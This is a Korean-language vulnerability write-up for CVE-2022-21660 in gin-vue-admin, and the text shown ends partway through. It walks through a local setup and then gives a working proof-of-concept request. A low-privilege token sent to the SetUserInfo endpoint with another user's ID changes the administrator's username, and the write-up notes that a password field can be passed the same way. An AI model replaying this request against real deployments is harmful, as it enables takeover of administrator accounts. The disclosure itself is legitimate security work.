
CVE-2022-21660
여러 고수님들께서 이 프로젝트에 star를 눌러 주시길 환영합니다.```http https://github.com/flipped-aurora/gin-vue-admin/

글을 다 쓰고 나서 CVE를 신청하는 데 다소 번거로움이 있었지만, 다행히도 결국 신청할 수 있었다. github 직원들의 응답이 신속했다.
> ps CVE를 신청하기 전에 이미 CNVD를 제출했다

### 2. 환경 구축
공식 튜토리얼에 따라```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
그런 다음 server 디렉터리로 이동합니다.```bash go generate
```bash
go build -o server main.go
그런 다음 server를 직접 실행하면 됩니다

다음은 WEB입니다. web 디렉터리로 들어가서 입력합니다```bash cnpm install || npm install
그런 다음 기다리기만 하면 됩니다

그런 다음 설치가 완료되면 자동으로 웹 페이지가 열립니다


그런 다음 초기화를 위해 데이터베이스 정보를 설정합니다

설정을 완료한 후 초기화를 클릭한 다음 로그인하면 됩니다

### 3. 취약점 재현
### SetUserInfo에 수직 권한 상승 취약점 존재
##### 1. SetUserInfo 인터페이스의 권한 상승을 이용한 사용자 개인정보 설정
사용자 관리 페이지로 바로 이동하여 낮은 권한의 사용자 역할을 하나 추가합니다

위에서 볼 수 있듯이 관리자 권한은 부여되지 않았습니다. 다음으로 새 계정을 만들고 이 역할 그룹에 배정합니다


취약점이 발생하는 위치는 https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go 의 273번째 줄입니다
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
여기서는 전달된 ID에 대한 검증이 수행되지 않습니다. ID는 사용자를 나타내므로, 지정된 ID를 직접 전달하면 해당 사용자의 개인 정보를 수정할 수 있습니다.

먼저 관리자의 X-token을 사용하여 ID가 1인 사용자의 이름을 test1로 수정하는 테스트를 진행합니다. 이후 백엔드에서 관리자의 ID가 test1로 수정된 것을 확인할 수 있습니다.

그다음 방금 생성한 UzJu_HxSecTeam 계정의 Token으로 교체하여 관리자 사용자 이름을 test2로 수정합니다.
먼저 UzJu_HxSecTeam 계정의 개인 정보>비밀번호 변경에서 아무 비밀번호나 변경한 후 계정 Token을 획득합니다.

이 Token은 낮은 권한의 역할에 해당합니다. 일반적으로 낮은 권한의 사용자는 관리자의 어떤 정보도 수정할 수 없습니다.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
Token을 그 자리에 넣고 다음과 같은 JSON 데이터를 구성합니다.```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

우리는 Token을 setUserinfo 인터페이스로 교체합니다```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
그러면 설정이 성공했다는 알림이 표시됩니다.

이제 관리자 계정으로 전환하여 test2로 변경되었는지 확인합니다.

관리자 사용자가 성공적으로 변경된 것을 확인할 수 있습니다.
##### 2、SetUserInfo 인터페이스 수직 권한 상승으로 관리자 비밀번호 무조건 변경
Debug할 때, 권한을 위반하여 개인 정보를 설정하는 setUserInfo 인터페이스에서는 id, username, nickname,headimg만 설정할 수 있는 것이 아니라 실제로 password 등의 매개변수도 전달할 수 있다는 것을 발견했습니다.

예를 들어, ID가 1인 사용자의 이름을 admin으로, 닉네임을 슈퍼유저 관리자로 설정하는 요청을 구성합니다.